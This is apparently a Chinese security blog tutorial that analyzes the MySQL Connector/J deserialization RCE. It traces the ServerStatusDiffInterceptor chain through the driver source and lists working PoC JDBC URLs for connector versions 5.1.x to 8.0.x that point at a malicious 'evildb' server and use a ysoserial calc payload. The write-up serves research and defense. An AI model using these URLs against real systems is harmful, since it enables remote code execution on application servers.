基础知识
JDBC简介
JDBC(Java Database Connectivity,Java 数据库连接)是 Java 语言中用来规范客户端如何访问数据库的应用程序接口,提供了诸如查询和更新数据在内的方法。JDBC 提供了一种基准,据此可以构建更高级的工具和接口,使数据库开发人员能够编写数据库应用程序。
在 JDBC 中,有四种主要的接口: DriverManager:这个类负责加载驱动,并处理数据库驱动的注册和选择。 Connection:这个接口提供了连接到数据库的方法。 Statement:这个接口提供了执行 SQL 语句的方法。 ResultSet:这个接口提供了处理 SQL 查询结果的方法。 这些接口齐全,基本可以处理与数据库相关的所有操作。
JDBC Connection
数据库的连接一般分为两个步骤 注册驱动,Class.forName(“数据库驱动的类名”)。 获取连接,DriverManager.getConnection(xxx)。 为什么需要注册驱动? 我们上面看了什么是jdbc,它是一个接口,帮助我们省去了底层的实现,我们只需要按照一定的步骤就可以完成mysql的连接,这个驱动就是其中步骤之一,注册驱动就会涉及到java.sql.DriverManager,它是用来管理所有驱动的注册,所以我们需要利用它注册驱动,然后使用getconnectionn方法去连接 JDBC定义了一个叫java.sql.Driver的接口,它其中的方法就是具体步骤的实现,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。
下面是一个例子
String CLASS_NAME = "com.mysql.jdbc.Driver";String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";
Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
思考一些问题 为什么需要Class.forName? 如果我们调试跟进, :63, Driver (com.mysql.jdbc) forName0:-1, Class (java.lang) forName:264, Class (java.lang) main:7, test 它首先会通过反射然后类加载机制去加载我们的这个类,我们知道类加载后,会自动执行静态代码,我们看到静态的代码
static { try {
DriverManager.registerDriver(new Driver());
} catch (SQLException var1) {
throw new RuntimeException("Can't register driver!");
}
}
就会注册一个驱动。 所以经过调试我们可以使用两种方法代替上面的方法 如果反射某个类又不想初始化类方法有两种途径: 第一
private static native Class<?> forName0(String name, boolean initialize,ClassLoader loader,Class<?> caller)
我们就可以这样
Class.forName("xxxx", false, loader)
第二
ClassLoader.load("xxxx");
Class.forName可以省去吗? 当然可以,如果我们了解spi机制Java SPI(Service Provider Interface) 在JDBC中,SPI(Service Provider Interface)机制被用于在运行时动态地发现和加载数据库驱动。这实际上是Java中的一种服务发现机制。 你看名字,提供接口服务,比如我们调用DriverManager.getConnection() 方法时,JVM会自动的帮我们加载它实现的接口也就是java.sql.Driver所有的类,包括我们的Driver 类,所以就不需要自己再classforname了,来说说这个过程把,首先这个过程是由我们的ServiceLoader 类实现的,ServiceLoader 会搜索 META-INF/services 目录下的文件。如果文件名与 java.sql.Driver 相同,那么 ServiceLoader 就会认为文件中列出的所有类名都是 java.sql.Driver 的实现,然后尝试加载它们。
举个例子,对于MySQL数据库驱动,在其jar包的 META-INF/services 目录下,你会找到一个名为 java.sql.Driver 的文件,其内容就是驱动类的完全限定名 com.mysql.jdbc.Driver。于是,ServiceLoader 在加载 java.sql.Driver 时,会自动加载这个MySQL驱动类。
漏洞原理
若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。 通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。 可被利用的两条查询语句:
SHOW SESSION STATUS SHOW COLLATION
JDBC连接参数
tatementInterceptors:连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果,这些拦截器将被添加到一个链中,第一个拦截器返回的结果将被传递到第二个拦截器,以此类推。在 8.0 中被queryInterceptors参数替代。 queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作) autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。 detectCustomCollations:驱动程序是否应该检测服务器上安装的自定义字符集/排序规则,如果此选项设置为“true”,驱动程序会在每次建立连接时从服务器获取实际的字符集/排序规则。这可能会显着减慢连接初始化速度。
JDBC代码分析连接过程
环境:mysql-connector-java-8.0.12 测试用例
import java.sql.*;
public class test {
public static void main(String[] args) throws Exception{
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/ljl";
String USERNAME = "root";
String PASSWORD = "root";
Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
}
}
在getConnection下断点,我们跟进
像我们的info中放入passwd和username,然后再次调用我们的getConnection方法,第三个参数确保我们加载的是正确的类 来到更详细的getConnection方法
lassLoader callerCL = caller != null ? caller.getClassLoader() : null; synchronized(DriverManager.class) {
// synchronize loading of the correct classloader.
if (callerCL == null) {
callerCL = Thread.currentThread().getContextClassLoader();
}
}
if(url == null) {
throw new SQLException("The url cannot be null", "08001");
}
println("DriverManager.getConnection(\"" + url + "\")");
还是一样在判断我们是否加载了正确的类,然后检查参数是否为空,然后重点在
我们首先在驱动中遍历我们的注册驱动,然后isDriverAllowed查看是否有权限去驱动,然后如果有就直接连接,我们跟进
首先是进行一些判断,不符合,然后来到我们的解析url,解析如下为数组的形式,然后调用我们的 ConnectionImpl.getInstance,传入我们刚刚解析的参数
刚刚忘换版本了,但是还是大差不差的,现在接着新版本讲,有些许差异
解析完后我们回到NonRegisteringDriver
switch (conStr.getType()) { case SINGLE_CONNECTION:
return ConnectionImpl.getInstance(conStr.getMainHost());
case LOADBALANCE_CONNECTION:
return LoadBalancedConnectionProxy.createProxyInstance((LoadbalanceConnectionUrl)conStr);
case FAILOVER_CONNECTION:
return FailoverConnectionProxy.createProxyInstance(conStr);
case REPLICATION_CONNECTION:
return ReplicationConnectionProxy.createProxyInstance((ReplicationConnectionUrl)conStr);
default:
return null;
}
获取type,这里是第一个,然后调用ConnectionImpl.getInstance,我们先看看参数
然后进入方法
public static JdbcConnection getInstance(HostInfo hostInfo) throws SQLException { return new ConnectionImpl(hostInfo);
}
返回一个新的ConnectionImpl对象,我们跟进构造方法 其中重要部分
this.props = hostInfo.exposeAsProperties(); this.propertySet = new JdbcPropertySetImpl();
this.propertySet.initializeProperties(this.props);
exposeAsProperties()方法就是
props.setProperty(PropertyKey.HOST.getKeyName(), this.getHost()); props.setProperty(PropertyKey.PORT.getKeyName(), String.valueOf(this.getPort()));
props.setProperty(PropertyKey.USER.getKeyName(), this.getUser());
props.setProperty(PropertyKey.PASSWORD.getKeyName(), this.getPassword());
解析我们的值
然后实例化JdbcPropertySetImpl对象,会调用父类构造方法
遍历PropertyDefinitions.PROPERTY_NAME_TO_PROPERTY_DEFINITION的值,依次存放进PROPERTY_NAME_TO_RUNTIME_PROPERTY
这些值正是数据库所允许提供的扩展参数,也就是query需要的地方 也正是这里造成了下面的漏洞
mysql JDBC 中包含一个危险的扩展参数: autoDeserialize。这个参数配置为true时,JDBC客户端将会自动反序列化服务端返回的BLOB类型字段
利用链分析
ServerStatusDiffInterceptor链
代码部分
先启动mysql服务
C:\Users\86135\Desktop\gj\MySQL_Fake_Server-master>python server.py
运行代码java代码
import java.sql.*;public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
}
}
即可弹出计算器
简单的逻辑
先给出栈堆
getObject:1333, ResultSetImpl (com.mysql.cj.jdbc.result)resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:8, Test
其实这个重点是python脚本的编写,理解链子是更好去理解如何编写python的poc,java的poc就很ez的,这里就简单分析一下 com.mysql.cj.jdbc.result.ResultSetImpl.getObject()时看到了readobject方法,主要逻辑如下
public Object getObject(int columnIndex) throws SQLException { Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}
怎么调用它,ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()方法。
在JDBC连接数据库的过程中,会调用SHOW SESSION STATUS去查询,然后对结果进行处理的时候会调用resultSetToMap
到这里我们已经找到了一个利用链了.设置拦截器,然后进入到getObject,在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中. 这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来.
详细分析
我们执行上面的程序的时候弹了四次计算器,我们来分析 从getConnecttion入口进去后,使用com.mysql.cj.jdbc.Driver 连接。
然后ConnectionUrl conStr = ConnectionUrl.getConnectionUrlInstance(url, info);
来构造URL对象其中会对我们的参数解析
ConnectionUrlParser connStrParser = ConnectionUrlParser.parseConnectionString(connString);scheme -> jdbc:mysql:(数据库连接类型)
authority -> host:port
path -> 数据库
query -> 查询语句(带入的参数)
根据case进入,我们这里是登录,所以进入第一个
ConnectionImpl.getInstance(conStr.getMainHost());
传入我们的Host部分
内部会实例化一个对象
return new ConnectionImpl(hostInfo);
初始化一些值
把我们相关的值初始化到propertySet中 然后 this.session = new NativeSession(hostInfo, this.propertySet);
实例化一个NativeSession对象,把我们的值传入,就是保存当前我们的session状态吧。 然后到重要的this.createNewIO(false);
创建一个到服务器的IO通道,内部是判断我们通道是并发还是单发,会有一个这样的调用链
connectOneTryOnly()->initializePropsFromServer()->handleAutoCommitDefaults()->setAutoCommit()
初始化服务器的操作,设置自动自动提交 在setAutoCommit有执行sql语句的操作this.session.execSQL((Query)null, autoCommitFlag ? "SET autocommit=1" : "SET autocommit=0", -1, (NativePacketPayload)null, false, this.nullStatementResultSetFactory, this.database, (ColumnDefinition)null, false);
内部使用NativeProtocol对象的sendQueryString 方法来发送查询((NativeProtocol)this.protocol).sendQueryString
会return this.sendQueryPacket,继续看到这个方法
if (this.queryInterceptors != null) { T interceptedResults = this.invokeQueryInterceptorsPre(query, callingQuery, false);
if (interceptedResults != null) {
Resultset var41 = interceptedResults;
return var41;
}
}
检查我们的queryInterceptors拦截器属性值是否为null不为null,就会调用invokeQueryInterceptorsPre 方法 随后触发该拦截器的preProcess 方法T interceptedResultSet = interceptor.preProcess
然后会触发到populateMapWithSessionStatusValues方法
rs = stmt.executeQuery("SHOW SESSION STATUS"); ResultSetUtil.resultSetToMap(toPopulate, rs);
执行一次 SHOW SESSION STATUS 查询,并将结果返回给ResultSetUtil.
resultSetToMap
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException { while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
会调用rs的getObject方法,这个方法上面也讲了,可以反序列化我们的恶意数据,但是有个前提
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue())
这个if需要为ture,也就是我们的autoDeserialize 调用一次getobject会反序列化一次,触发一次计算器 这里执行一个sql语句就触发两次,因为连接的时候会执行两个sql语句,所以触发四次计算器 这里就分析完了
payload为什么要这样写?
第一autoDeserialize=true ResultSetImpl 对象的中,需要有jdbc连接的autoDeserialize 属性为true,才会进入反序列化。
第二queryInterceptors=… NativeProtocol对象的queryInterceptors 属性不为null,
才会调用这个方法 先前的ConnectionImpl对象中,初始化了一个NativeSession对象,后续的与服务器连接中都跟他有关系。然后调用
initializeSafeQueryInterceptors 初始化查询拦截器。
这里需要jdbc连接的属性中queryInterceptors 的值来加载类。所以这里要指定拦截器的类名,我们刚刚所调用的拦截器的方法,其实是在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 类中。
poc总结
8.0.20之后链子没有了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues不再调用resultSetToMap()即getObject()。此利用链失效 8.0.XX
java \-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
6.x queryInterceptors => statementInterceptors
java \-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
5.1.11及以上版本 com.mysql.cj. => com.mysql.
java \-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
5.1.0-5.1.10 连接后需要执行
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();
无偿 获 取 网 安 资 料:
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关